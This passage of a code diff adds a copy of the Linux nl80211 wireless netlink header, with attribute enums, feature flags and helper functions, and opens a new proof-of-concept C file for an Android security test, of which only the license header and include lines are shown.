+ * (in network byte order)
+ * @NL80211_WOWLAN_TCP_DST_MAC: destination MAC address, this is given because
+ * route lookup when configured might be invalid by the time we suspend,
+ * and doing a route lookup when suspending is no longer possible as it
+ * might require ARP querying.
+ * @NL80211_WOWLAN_TCP_SRC_PORT: source port (u16); optional, if not given a
+ * socket and port will be allocated
+ * @NL80211_WOWLAN_TCP_DST_PORT: destination port (u16)
+ * @NL80211_WOWLAN_TCP_DATA_PAYLOAD: data packet payload, at least one byte.
+ * For feature advertising, a u32 attribute holding the maximum length
+ * of the data payload.
+ * @NL80211_WOWLAN_TCP_DATA_PAYLOAD_SEQ: data packet sequence configuration
+ * (if desired), a &struct nl80211_wowlan_tcp_data_seq. For feature
+ * advertising it is just a flag
+ * @NL80211_WOWLAN_TCP_DATA_PAYLOAD_TOKEN: data packet token configuration,
+ * see &struct nl80211_wowlan_tcp_data_token and for advertising see
+ * &struct nl80211_wowlan_tcp_data_token_feature.
+ * @NL80211_WOWLAN_TCP_DATA_INTERVAL: data interval in seconds, maximum
+ * interval in feature advertising (u32)
+ * @NL80211_WOWLAN_TCP_WAKE_PAYLOAD: wake packet payload, for advertising a
+ * u32 attribute holding the maximum length
+ * @NL80211_WOWLAN_TCP_WAKE_MASK: Wake packet payload mask, not used for
+ * feature advertising. The mask works like @NL80211_PKTPAT_MASK
+ * but on the TCP payload only.
+ * @NUM_NL80211_WOWLAN_TCP: number of TCP attributes
+ * @MAX_NL80211_WOWLAN_TCP: highest attribute number
+ */
+enum nl80211_wowlan_tcp_attrs {
+ __NL80211_WOWLAN_TCP_INVALID,
+ NL80211_WOWLAN_TCP_SRC_IPV4,
+ NL80211_WOWLAN_TCP_DST_IPV4,
+ NL80211_WOWLAN_TCP_DST_MAC,
+ NL80211_WOWLAN_TCP_SRC_PORT,
+ NL80211_WOWLAN_TCP_DST_PORT,
+ NL80211_WOWLAN_TCP_DATA_PAYLOAD,
+ NL80211_WOWLAN_TCP_DATA_PAYLOAD_SEQ,
+ NL80211_WOWLAN_TCP_DATA_PAYLOAD_TOKEN,
+ NL80211_WOWLAN_TCP_DATA_INTERVAL,
+ NL80211_WOWLAN_TCP_WAKE_PAYLOAD,
+ NL80211_WOWLAN_TCP_WAKE_MASK,
+
+ /* keep last */
+ NUM_NL80211_WOWLAN_TCP,
+ MAX_NL80211_WOWLAN_TCP = NUM_NL80211_WOWLAN_TCP - 1
+};
+
+/**
+ * struct nl80211_coalesce_rule_support - coalesce rule support information
+ * @max_rules: maximum number of rules supported
+ * @pat: packet pattern support information
+ * @max_delay: maximum supported coalescing delay in msecs
+ *
+ * This struct is carried in %NL80211_ATTR_COALESCE_RULE in the
+ * capability information given by the kernel to userspace.
+ */
+struct nl80211_coalesce_rule_support {
+ __u32 max_rules;
+ struct nl80211_pattern_support pat;
+ __u32 max_delay;
+} __attribute__((packed));
+
+/**
+ * enum nl80211_attr_coalesce_rule - coalesce rule attribute
+ * @__NL80211_COALESCE_RULE_INVALID: invalid number for nested attribute
+ * @NL80211_ATTR_COALESCE_RULE_DELAY: delay in msecs used for packet coalescing
+ * @NL80211_ATTR_COALESCE_RULE_CONDITION: condition for packet coalescence,
+ * see &enum nl80211_coalesce_condition.
+ * @NL80211_ATTR_COALESCE_RULE_PKT_PATTERN: packet offset, pattern is matched
+ * after these fixed number of bytes of received packet
+ * @NUM_NL80211_ATTR_COALESCE_RULE: number of attributes
+ * @NL80211_ATTR_COALESCE_RULE_MAX: max attribute number
+ */
+enum nl80211_attr_coalesce_rule {
+ __NL80211_COALESCE_RULE_INVALID,
+ NL80211_ATTR_COALESCE_RULE_DELAY,
+ NL80211_ATTR_COALESCE_RULE_CONDITION,
+ NL80211_ATTR_COALESCE_RULE_PKT_PATTERN,
+
+ /* keep last */
+ NUM_NL80211_ATTR_COALESCE_RULE,
+ NL80211_ATTR_COALESCE_RULE_MAX = NUM_NL80211_ATTR_COALESCE_RULE - 1
+};
+
+/**
+ * enum nl80211_coalesce_condition - coalesce rule conditions
+ * @NL80211_COALESCE_CONDITION_MATCH: coalaesce Rx packets when patterns
+ * in a rule are matched.
+ * @NL80211_COALESCE_CONDITION_NO_MATCH: coalesce Rx packets when patterns
+ * in a rule are not matched.
+ */
+enum nl80211_coalesce_condition {
+ NL80211_COALESCE_CONDITION_MATCH,
+ NL80211_COALESCE_CONDITION_NO_MATCH
+};
+
+/**
+ * enum nl80211_iface_limit_attrs - limit attributes
+ * @NL80211_IFACE_LIMIT_UNSPEC: (reserved)
+ * @NL80211_IFACE_LIMIT_MAX: maximum number of interfaces that
+ * can be chosen from this set of interface types (u32)
+ * @NL80211_IFACE_LIMIT_TYPES: nested attribute containing a
+ * flag attribute for each interface type in this set
+ * @NUM_NL80211_IFACE_LIMIT: number of attributes
+ * @MAX_NL80211_IFACE_LIMIT: highest attribute number
+ */
+enum nl80211_iface_limit_attrs {
+ NL80211_IFACE_LIMIT_UNSPEC,
+ NL80211_IFACE_LIMIT_MAX,
+ NL80211_IFACE_LIMIT_TYPES,
+
+ /* keep last */
+ NUM_NL80211_IFACE_LIMIT,
+ MAX_NL80211_IFACE_LIMIT = NUM_NL80211_IFACE_LIMIT - 1
+};
+
+/**
+ * enum nl80211_if_combination_attrs -- interface combination attributes
+ *
+ * @NL80211_IFACE_COMB_UNSPEC: (reserved)
+ * @NL80211_IFACE_COMB_LIMITS: Nested attributes containing the limits
+ * for given interface types, see &enum nl80211_iface_limit_attrs.
+ * @NL80211_IFACE_COMB_MAXNUM: u32 attribute giving the total number of
+ * interfaces that can be created in this group. This number doesn't
+ * apply to interfaces purely managed in software, which are listed
+ * in a separate attribute %NL80211_ATTR_INTERFACES_SOFTWARE.
+ * @NL80211_IFACE_COMB_STA_AP_BI_MATCH: flag attribute specifying that
+ * beacon intervals within this group must be all the same even for
+ * infrastructure and AP/GO combinations, i.e. the GO(s) must adopt
+ * the infrastructure network's beacon interval.
+ * @NL80211_IFACE_COMB_NUM_CHANNELS: u32 attribute specifying how many
+ * different channels may be used within this group.
+ * @NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS: u32 attribute containing the bitmap
+ * of supported channel widths for radar detection.
+ * @NL80211_IFACE_COMB_RADAR_DETECT_REGIONS: u32 attribute containing the bitmap
+ * of supported regulatory regions for radar detection.
+ * @NUM_NL80211_IFACE_COMB: number of attributes
+ * @MAX_NL80211_IFACE_COMB: highest attribute number
+ *
+ * Examples:
+ * limits = [ #{STA} <= 1, #{AP} <= 1 ], matching BI, channels = 1, max = 2
+ * => allows an AP and a STA that must match BIs
+ *
+ * numbers = [ #{AP, P2P-GO} <= 8 ], channels = 1, max = 8
+ * => allows 8 of AP/GO
+ *
+ * numbers = [ #{STA} <= 2 ], channels = 2, max = 2
+ * => allows two STAs on different channels
+ *
+ * numbers = [ #{STA} <= 1, #{P2P-client,P2P-GO} <= 3 ], max = 4
+ * => allows a STA plus three P2P interfaces
+ *
+ * The list of these four possiblities could completely be contained
+ * within the %NL80211_ATTR_INTERFACE_COMBINATIONS attribute to indicate
+ * that any of these groups must match.
+ *
+ * "Combinations" of just a single interface will not be listed here,
+ * a single interface of any valid interface type is assumed to always
+ * be possible by itself. This means that implicitly, for each valid
+ * interface type, the following group always exists:
+ * numbers = [ #{<type>} <= 1 ], channels = 1, max = 1
+ */
+enum nl80211_if_combination_attrs {
+ NL80211_IFACE_COMB_UNSPEC,
+ NL80211_IFACE_COMB_LIMITS,
+ NL80211_IFACE_COMB_MAXNUM,
+ NL80211_IFACE_COMB_STA_AP_BI_MATCH,
+ NL80211_IFACE_COMB_NUM_CHANNELS,
+ NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS,
+ NL80211_IFACE_COMB_RADAR_DETECT_REGIONS,
+
+ /* keep last */
+ NUM_NL80211_IFACE_COMB,
+ MAX_NL80211_IFACE_COMB = NUM_NL80211_IFACE_COMB - 1
+};
+
+/**
+ * enum nl80211_plink_state - state of a mesh peer link finite state machine
+ *
+ * @NL80211_PLINK_LISTEN: initial state, considered the implicit
+ * state of non existant mesh peer links
+ * @NL80211_PLINK_OPN_SNT: mesh plink open frame has been sent to
+ * this mesh peer
+ * @NL80211_PLINK_OPN_RCVD: mesh plink open frame has been received
+ * from this mesh peer
+ * @NL80211_PLINK_CNF_RCVD: mesh plink confirm frame has been
+ * received from this mesh peer
+ * @NL80211_PLINK_ESTAB: mesh peer link is established
+ * @NL80211_PLINK_HOLDING: mesh peer link is being closed or cancelled
+ * @NL80211_PLINK_BLOCKED: all frames transmitted from this mesh
+ * plink are discarded
+ * @NUM_NL80211_PLINK_STATES: number of peer link states
+ * @MAX_NL80211_PLINK_STATES: highest numerical value of plink states
+ */
+enum nl80211_plink_state {
+ NL80211_PLINK_LISTEN,
+ NL80211_PLINK_OPN_SNT,
+ NL80211_PLINK_OPN_RCVD,
+ NL80211_PLINK_CNF_RCVD,
+ NL80211_PLINK_ESTAB,
+ NL80211_PLINK_HOLDING,
+ NL80211_PLINK_BLOCKED,
+
+ /* keep last */
+ NUM_NL80211_PLINK_STATES,
+ MAX_NL80211_PLINK_STATES = NUM_NL80211_PLINK_STATES - 1
+};
+
+/**
+ * enum nl80211_plink_action - actions to perform in mesh peers
+ *
+ * @NL80211_PLINK_ACTION_NO_ACTION: perform no action
+ * @NL80211_PLINK_ACTION_OPEN: start mesh peer link establishment
+ * @NL80211_PLINK_ACTION_BLOCK: block traffic from this mesh peer
+ * @NUM_NL80211_PLINK_ACTIONS: number of possible actions
+ */
+enum plink_actions {
+ NL80211_PLINK_ACTION_NO_ACTION,
+ NL80211_PLINK_ACTION_OPEN,
+ NL80211_PLINK_ACTION_BLOCK,
+
+ NUM_NL80211_PLINK_ACTIONS,
+};
+
+#define NL80211_KCK_LEN 16
+#define NL80211_KEK_LEN 16
+#define NL80211_REPLAY_CTR_LEN 8
+
+/**
+ * enum nl80211_rekey_data - attributes for GTK rekey offload
+ * @__NL80211_REKEY_DATA_INVALID: invalid number for nested attributes
+ * @NL80211_REKEY_DATA_KEK: key encryption key (binary)
+ * @NL80211_REKEY_DATA_KCK: key confirmation key (binary)
+ * @NL80211_REKEY_DATA_REPLAY_CTR: replay counter (binary)
+ * @NUM_NL80211_REKEY_DATA: number of rekey attributes (internal)
+ * @MAX_NL80211_REKEY_DATA: highest rekey attribute (internal)
+ */
+enum nl80211_rekey_data {
+ __NL80211_REKEY_DATA_INVALID,
+ NL80211_REKEY_DATA_KEK,
+ NL80211_REKEY_DATA_KCK,
+ NL80211_REKEY_DATA_REPLAY_CTR,
+
+ /* keep last */
+ NUM_NL80211_REKEY_DATA,
+ MAX_NL80211_REKEY_DATA = NUM_NL80211_REKEY_DATA - 1
+};
+
+/**
+ * enum nl80211_hidden_ssid - values for %NL80211_ATTR_HIDDEN_SSID
+ * @NL80211_HIDDEN_SSID_NOT_IN_USE: do not hide SSID (i.e., broadcast it in
+ * Beacon frames)
+ * @NL80211_HIDDEN_SSID_ZERO_LEN: hide SSID by using zero-length SSID element
+ * in Beacon frames
+ * @NL80211_HIDDEN_SSID_ZERO_CONTENTS: hide SSID by using correct length of SSID
+ * element in Beacon frames but zero out each byte in the SSID
+ */
+enum nl80211_hidden_ssid {
+ NL80211_HIDDEN_SSID_NOT_IN_USE,
+ NL80211_HIDDEN_SSID_ZERO_LEN,
+ NL80211_HIDDEN_SSID_ZERO_CONTENTS
+};
+
+/**
+ * enum nl80211_sta_wme_attr - station WME attributes
+ * @__NL80211_STA_WME_INVALID: invalid number for nested attribute
+ * @NL80211_STA_WME_UAPSD_QUEUES: bitmap of uapsd queues. the format
+ * is the same as the AC bitmap in the QoS info field.
+ * @NL80211_STA_WME_MAX_SP: max service period. the format is the same
+ * as the MAX_SP field in the QoS info field (but already shifted down).
+ * @__NL80211_STA_WME_AFTER_LAST: internal
+ * @NL80211_STA_WME_MAX: highest station WME attribute
+ */
+enum nl80211_sta_wme_attr {
+ __NL80211_STA_WME_INVALID,
+ NL80211_STA_WME_UAPSD_QUEUES,
+ NL80211_STA_WME_MAX_SP,
+
+ /* keep last */
+ __NL80211_STA_WME_AFTER_LAST,
+ NL80211_STA_WME_MAX = __NL80211_STA_WME_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_pmksa_candidate_attr - attributes for PMKSA caching candidates
+ * @__NL80211_PMKSA_CANDIDATE_INVALID: invalid number for nested attributes
+ * @NL80211_PMKSA_CANDIDATE_INDEX: candidate index (u32; the smaller, the higher
+ * priority)
+ * @NL80211_PMKSA_CANDIDATE_BSSID: candidate BSSID (6 octets)
+ * @NL80211_PMKSA_CANDIDATE_PREAUTH: RSN pre-authentication supported (flag)
+ * @NUM_NL80211_PMKSA_CANDIDATE: number of PMKSA caching candidate attributes
+ * (internal)
+ * @MAX_NL80211_PMKSA_CANDIDATE: highest PMKSA caching candidate attribute
+ * (internal)
+ */
+enum nl80211_pmksa_candidate_attr {
+ __NL80211_PMKSA_CANDIDATE_INVALID,
+ NL80211_PMKSA_CANDIDATE_INDEX,
+ NL80211_PMKSA_CANDIDATE_BSSID,
+ NL80211_PMKSA_CANDIDATE_PREAUTH,
+
+ /* keep last */
+ NUM_NL80211_PMKSA_CANDIDATE,
+ MAX_NL80211_PMKSA_CANDIDATE = NUM_NL80211_PMKSA_CANDIDATE - 1
+};
+
+/**
+ * enum nl80211_tdls_operation - values for %NL80211_ATTR_TDLS_OPERATION
+ * @NL80211_TDLS_DISCOVERY_REQ: Send a TDLS discovery request
+ * @NL80211_TDLS_SETUP: Setup TDLS link
+ * @NL80211_TDLS_TEARDOWN: Teardown a TDLS link which is already established
+ * @NL80211_TDLS_ENABLE_LINK: Enable TDLS link
+ * @NL80211_TDLS_DISABLE_LINK: Disable TDLS link
+ */
+enum nl80211_tdls_operation {
+ NL80211_TDLS_DISCOVERY_REQ,
+ NL80211_TDLS_SETUP,
+ NL80211_TDLS_TEARDOWN,
+ NL80211_TDLS_ENABLE_LINK,
+ NL80211_TDLS_DISABLE_LINK,
+};
+
+/*
+ * enum nl80211_ap_sme_features - device-integrated AP features
+ * Reserved for future use, no bits are defined in
+ * NL80211_ATTR_DEVICE_AP_SME yet.
+enum nl80211_ap_sme_features {
+};
+ */
+
+/**
+ * enum nl80211_feature_flags - device/driver features
+ * @NL80211_FEATURE_SK_TX_STATUS: This driver supports reflecting back
+ * TX status to the socket error queue when requested with the
+ * socket option.
+ * @NL80211_FEATURE_HT_IBSS: This driver supports IBSS with HT datarates.
+ * @NL80211_FEATURE_INACTIVITY_TIMER: This driver takes care of freeing up
+ * the connected inactive stations in AP mode.
+ * @NL80211_FEATURE_CELL_BASE_REG_HINTS: This driver has been tested
+ * to work properly to suppport receiving regulatory hints from
+ * cellular base stations.
+ * @NL80211_FEATURE_P2P_DEVICE_NEEDS_CHANNEL: (no longer available, only
+ * here to reserve the value for API/ABI compatibility)
+ * @NL80211_FEATURE_SAE: This driver supports simultaneous authentication of
+ * equals (SAE) with user space SME (NL80211_CMD_AUTHENTICATE) in station
+ * mode
+ * @NL80211_FEATURE_LOW_PRIORITY_SCAN: This driver supports low priority scan
+ * @NL80211_FEATURE_SCAN_FLUSH: Scan flush is supported
+ * @NL80211_FEATURE_AP_SCAN: Support scanning using an AP vif
+ * @NL80211_FEATURE_VIF_TXPOWER: The driver supports per-vif TX power setting
+ * @NL80211_FEATURE_NEED_OBSS_SCAN: The driver expects userspace to perform
+ * OBSS scans and generate 20/40 BSS coex reports. This flag is used only
+ * for drivers implementing the CONNECT API, for AUTH/ASSOC it is implied.
+ * @NL80211_FEATURE_P2P_GO_CTWIN: P2P GO implementation supports CT Window
+ * setting
+ * @NL80211_FEATURE_P2P_GO_OPPPS: P2P GO implementation supports opportunistic
+ * powersave
+ * @NL80211_FEATURE_FULL_AP_CLIENT_STATE: The driver supports full state
+ * transitions for AP clients. Without this flag (and if the driver
+ * doesn't have the AP SME in the device) the driver supports adding
+ * stations only when they're associated and adds them in associated
+ * state (to later be transitioned into authorized), with this flag
+ * they should be added before even sending the authentication reply
+ * and then transitioned into authenticated, associated and authorized
+ * states using station flags.
+ * Note that even for drivers that support this, the default is to add
+ * stations in authenticated/associated state, so to add unauthenticated
+ * stations the authenticated/associated bits have to be set in the mask.
+ * @NL80211_FEATURE_ADVERTISE_CHAN_LIMITS: cfg80211 advertises channel limits
+ * (HT40, VHT 80/160 MHz) if this flag is set
+ * @NL80211_FEATURE_USERSPACE_MPM: This driver supports a userspace Mesh
+ * Peering Management entity which may be implemented by registering for
+ * beacons or NL80211_CMD_NEW_PEER_CANDIDATE events. The mesh beacon is
+ * still generated by the driver.
+ * @NL80211_FEATURE_ACTIVE_MONITOR: This driver supports an active monitor
+ * interface. An active monitor interface behaves like a normal monitor
+ * interface, but gets added to the driver. It ensures that incoming
+ * unicast packets directed at the configured interface address get ACKed.
+ * @NL80211_FEATURE_AP_MODE_CHAN_WIDTH_CHANGE: This driver supports dynamic
+ * channel bandwidth change (e.g., HT 20 <-> 40 MHz channel) during the
+ * lifetime of a BSS.
+ * @NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES: This device adds a DS Parameter
+ * Set IE to probe requests.
+ * @NL80211_FEATURE_WFA_TPC_IE_IN_PROBES: This device adds a WFA TPC Report IE
+ * to probe requests.
+ * @NL80211_FEATURE_QUIET: This device, in client mode, supports Quiet Period
+ * requests sent to it by an AP.
+ * @NL80211_FEATURE_TX_POWER_INSERTION: This device is capable of inserting the
+ * current tx power value into the TPC Report IE in the spectrum
+ * management TPC Report action frame, and in the Radio Measurement Link
+ * Measurement Report action frame.
+ * @NL80211_FEATURE_ACKTO_ESTIMATION: This driver supports dynamic ACK timeout
+ * estimation (dynack). %NL80211_ATTR_WIPHY_DYN_ACK flag attribute is used
+ * to enable dynack.
+ * @NL80211_FEATURE_STATIC_SMPS: Device supports static spatial
+ * multiplexing powersave, ie. can turn off all but one chain
+ * even on HT connections that should be using more chains.
+ * @NL80211_FEATURE_DYNAMIC_SMPS: Device supports dynamic spatial
+ * multiplexing powersave, ie. can turn off all but one chain
+ * and then wake the rest up as required after, for example,
+ * rts/cts handshake.
+ */
+enum nl80211_feature_flags {
+ NL80211_FEATURE_SK_TX_STATUS = 1 << 0,
+ NL80211_FEATURE_HT_IBSS = 1 << 1,
+ NL80211_FEATURE_INACTIVITY_TIMER = 1 << 2,
+ NL80211_FEATURE_CELL_BASE_REG_HINTS = 1 << 3,
+ NL80211_FEATURE_P2P_DEVICE_NEEDS_CHANNEL = 1 << 4,
+ NL80211_FEATURE_SAE = 1 << 5,
+ NL80211_FEATURE_LOW_PRIORITY_SCAN = 1 << 6,
+ NL80211_FEATURE_SCAN_FLUSH = 1 << 7,
+ NL80211_FEATURE_AP_SCAN = 1 << 8,
+ NL80211_FEATURE_VIF_TXPOWER = 1 << 9,
+ NL80211_FEATURE_NEED_OBSS_SCAN = 1 << 10,
+ NL80211_FEATURE_P2P_GO_CTWIN = 1 << 11,
+ NL80211_FEATURE_P2P_GO_OPPPS = 1 << 12,
+ /* bit 13 is reserved */
+ NL80211_FEATURE_ADVERTISE_CHAN_LIMITS = 1 << 14,
+ NL80211_FEATURE_FULL_AP_CLIENT_STATE = 1 << 15,
+ NL80211_FEATURE_USERSPACE_MPM = 1 << 16,
+ NL80211_FEATURE_ACTIVE_MONITOR = 1 << 17,
+ NL80211_FEATURE_AP_MODE_CHAN_WIDTH_CHANGE = 1 << 18,
+ NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES = 1 << 19,
+ NL80211_FEATURE_WFA_TPC_IE_IN_PROBES = 1 << 20,
+ NL80211_FEATURE_QUIET = 1 << 21,
+ NL80211_FEATURE_TX_POWER_INSERTION = 1 << 22,
+ NL80211_FEATURE_ACKTO_ESTIMATION = 1 << 23,
+ NL80211_FEATURE_STATIC_SMPS = 1 << 24,
+ NL80211_FEATURE_DYNAMIC_SMPS = 1 << 25,
+};
+
+/**
+ * enum nl80211_probe_resp_offload_support_attr - optional supported
+ * protocols for probe-response offloading by the driver/FW.
+ * To be used with the %NL80211_ATTR_PROBE_RESP_OFFLOAD attribute.
+ * Each enum value represents a bit in the bitmap of supported
+ * protocols. Typically a subset of probe-requests belonging to a
+ * supported protocol will be excluded from offload and uploaded
+ * to the host.
+ *
+ * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS: Support for WPS ver. 1
+ * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS2: Support for WPS ver. 2
+ * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_P2P: Support for P2P
+ * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_80211U: Support for 802.11u
+ */
+enum nl80211_probe_resp_offload_support_attr {
+ NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS = 1 << 0,
+ NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS2 = 1 << 1,
+ NL80211_PROBE_RESP_OFFLOAD_SUPPORT_P2P = 1 << 2,
+ NL80211_PROBE_RESP_OFFLOAD_SUPPORT_80211U = 1 << 3,
+};
+
+/**
+ * enum nl80211_connect_failed_reason - connection request failed reasons
+ * @NL80211_CONN_FAIL_MAX_CLIENTS: Maximum number of clients that can be
+ * handled by the AP is reached.
+ * @NL80211_CONN_FAIL_BLOCKED_CLIENT: Connection request is rejected due to ACL.
+ */
+enum nl80211_connect_failed_reason {
+ NL80211_CONN_FAIL_MAX_CLIENTS,
+ NL80211_CONN_FAIL_BLOCKED_CLIENT,
+};
+
+/**
+ * enum nl80211_scan_flags - scan request control flags
+ *
+ * Scan request control flags are used to control the handling
+ * of NL80211_CMD_TRIGGER_SCAN and NL80211_CMD_START_SCHED_SCAN
+ * requests.
+ *
+ * @NL80211_SCAN_FLAG_LOW_PRIORITY: scan request has low priority
+ * @NL80211_SCAN_FLAG_FLUSH: flush cache before scanning
+ * @NL80211_SCAN_FLAG_AP: force a scan even if the interface is configured
+ * as AP and the beaconing has already been configured. This attribute is
+ * dangerous because will destroy stations performance as a lot of frames
+ * will be lost while scanning off-channel, therefore it must be used only
+ * when really needed
+ */
+enum nl80211_scan_flags {
+ NL80211_SCAN_FLAG_LOW_PRIORITY = 1 << 0,
+ NL80211_SCAN_FLAG_FLUSH = 1 << 1,
+ NL80211_SCAN_FLAG_AP = 1 << 2,
+};
+
+/**
+ * enum nl80211_acl_policy - access control policy
+ *
+ * Access control policy is applied on a MAC list set by
+ * %NL80211_CMD_START_AP and %NL80211_CMD_SET_MAC_ACL, to
+ * be used with %NL80211_ATTR_ACL_POLICY.
+ *
+ * @NL80211_ACL_POLICY_ACCEPT_UNLESS_LISTED: Deny stations which are
+ * listed in ACL, i.e. allow all the stations which are not listed
+ * in ACL to authenticate.
+ * @NL80211_ACL_POLICY_DENY_UNLESS_LISTED: Allow the stations which are listed
+ * in ACL, i.e. deny all the stations which are not listed in ACL.
+ */
+enum nl80211_acl_policy {
+ NL80211_ACL_POLICY_ACCEPT_UNLESS_LISTED,
+ NL80211_ACL_POLICY_DENY_UNLESS_LISTED,
+};
+
+/**
+ * enum nl80211_smps_mode - SMPS mode
+ *
+ * Requested SMPS mode (for AP mode)
+ *
+ * @NL80211_SMPS_OFF: SMPS off (use all antennas).
+ * @NL80211_SMPS_STATIC: static SMPS (use a single antenna)
+ * @NL80211_SMPS_DYNAMIC: dynamic smps (start with a single antenna and
+ * turn on other antennas after CTS/RTS).
+ */
+enum nl80211_smps_mode {
+ NL80211_SMPS_OFF,
+ NL80211_SMPS_STATIC,
+ NL80211_SMPS_DYNAMIC,
+
+ __NL80211_SMPS_AFTER_LAST,
+ NL80211_SMPS_MAX = __NL80211_SMPS_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_radar_event - type of radar event for DFS operation
+ *
+ * Type of event to be used with NL80211_ATTR_RADAR_EVENT to inform userspace
+ * about detected radars or success of the channel available check (CAC)
+ *
+ * @NL80211_RADAR_DETECTED: A radar pattern has been detected. The channel is
+ * now unusable.
+ * @NL80211_RADAR_CAC_FINISHED: Channel Availability Check has been finished,
+ * the channel is now available.
+ * @NL80211_RADAR_CAC_ABORTED: Channel Availability Check has been aborted, no
+ * change to the channel status.
+ * @NL80211_RADAR_NOP_FINISHED: The Non-Occupancy Period for this channel is
+ * over, channel becomes usable.
+ */
+enum nl80211_radar_event {
+ NL80211_RADAR_DETECTED,
+ NL80211_RADAR_CAC_FINISHED,
+ NL80211_RADAR_CAC_ABORTED,
+ NL80211_RADAR_NOP_FINISHED,
+};
+
+/**
+ * enum nl80211_dfs_state - DFS states for channels
+ *
+ * Channel states used by the DFS code.
+ *
+ * @NL80211_DFS_USABLE: The channel can be used, but channel availability
+ * check (CAC) must be performed before using it for AP or IBSS.
+ * @NL80211_DFS_UNAVAILABLE: A radar has been detected on this channel, it
+ * is therefore marked as not available.
+ * @NL80211_DFS_AVAILABLE: The channel has been CAC checked and is available.
+ */
+enum nl80211_dfs_state {
+ NL80211_DFS_USABLE,
+ NL80211_DFS_UNAVAILABLE,
+ NL80211_DFS_AVAILABLE,
+};
+
+/**
+ * enum enum nl80211_protocol_features - nl80211 protocol features
+ * @NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP: nl80211 supports splitting
+ * wiphy dumps (if requested by the application with the attribute
+ * %NL80211_ATTR_SPLIT_WIPHY_DUMP. Also supported is filtering the
+ * wiphy dump by %NL80211_ATTR_WIPHY, %NL80211_ATTR_IFINDEX or
+ * %NL80211_ATTR_WDEV.
+ */
+enum nl80211_protocol_features {
+ NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP = 1 << 0,
+};
+
+/**
+ * enum nl80211_crit_proto_id - nl80211 critical protocol identifiers
+ *
+ * @NL80211_CRIT_PROTO_UNSPEC: protocol unspecified.
+ * @NL80211_CRIT_PROTO_DHCP: BOOTP or DHCPv6 protocol.
+ * @NL80211_CRIT_PROTO_EAPOL: EAPOL protocol.
+ * @NL80211_CRIT_PROTO_APIPA: APIPA protocol.
+ * @NUM_NL80211_CRIT_PROTO: must be kept last.
+ */
+enum nl80211_crit_proto_id {
+ NL80211_CRIT_PROTO_UNSPEC,
+ NL80211_CRIT_PROTO_DHCP,
+ NL80211_CRIT_PROTO_EAPOL,
+ NL80211_CRIT_PROTO_APIPA,
+ /* add other protocols before this one */
+ NUM_NL80211_CRIT_PROTO
+};
+
+/* maximum duration for critical protocol measures */
+#define NL80211_CRIT_PROTO_MAX_DURATION 5000 /* msec */
+
+/**
+ * enum nl80211_rxmgmt_flags - flags for received management frame.
+ *
+ * Used by cfg80211_rx_mgmt()
+ *
+ * @NL80211_RXMGMT_FLAG_ANSWERED: frame was answered by device/driver.
+ */
+enum nl80211_rxmgmt_flags {
+ NL80211_RXMGMT_FLAG_ANSWERED = 1 << 0,
+};
+
+/*
+ * If this flag is unset, the lower 24 bits are an OUI, if set
+ * a Linux nl80211 vendor ID is used (no such IDs are allocated
+ * yet, so that's not valid so far)
+ */
+#define NL80211_VENDOR_ID_IS_LINUX 0x80000000
+
+/**
+ * struct nl80211_vendor_cmd_info - vendor command data
+ * @vendor_id: If the %NL80211_VENDOR_ID_IS_LINUX flag is clear, then the
+ * value is a 24-bit OUI; if it is set then a separately allocated ID
+ * may be used, but no such IDs are allocated yet. New IDs should be
+ * added to this file when needed.
+ * @subcmd: sub-command ID for the command
+ */
+struct nl80211_vendor_cmd_info {
+ __u32 vendor_id;
+ __u32 subcmd;
+};
+
+/**
+ * enum nl80211_tdls_peer_capability - TDLS peer flags.
+ *
+ * Used by tdls_mgmt() to determine which conditional elements need
+ * to be added to TDLS Setup frames.
+ *
+ * @NL80211_TDLS_PEER_HT: TDLS peer is HT capable.
+ * @NL80211_TDLS_PEER_VHT: TDLS peer is VHT capable.
+ * @NL80211_TDLS_PEER_WMM: TDLS peer is WMM capable.
+ */
+enum nl80211_tdls_peer_capability {
+ NL80211_TDLS_PEER_HT = 1 << 0,
+ NL80211_TDLS_PEER_VHT = 1 << 1,
+ NL80211_TDLS_PEER_WMM = 1 << 2,
+};
+
+static inline struct nlattr *nla_next(const struct nlattr *nla,
+ int *remaining) {
+ int totlen = NLA_ALIGN(nla->nla_len);
+
+ *remaining -= totlen;
+ return (struct nlattr *)((char *)nla + totlen);
+}
+
+static inline int nla_ok(const struct nlattr *nla, int remaining) {
+ return remaining >= (int)sizeof(*nla) && nla->nla_len >= sizeof(*nla) &&
+ nla->nla_len <= remaining;
+}
+
+#define nla_for_each_attr(pos, head, len, rem) \
+ for (pos = head, rem = len; nla_ok(pos, rem); pos = nla_next(pos, &(rem)))
+
+#endif /* __LINUX_NL80211_H */
diff --git a/hostsidetests/security/securityPatch/Bug-36817053/poc.c b/hostsidetests/security/securityPatch/Bug-36817053/poc.c
new file mode 100644
index 0000000..4e7ae0c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36817053/poc.c
@@ -0,0 +1,1083 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/wait.h>
+#include <time.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <netinet/in.h>
+#include <sys/socket.h>
+
+#include <errno.h>
+#include <linux/genetlink.h>
+#include <linux/netlink.h>
+#include <linux/wireless.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
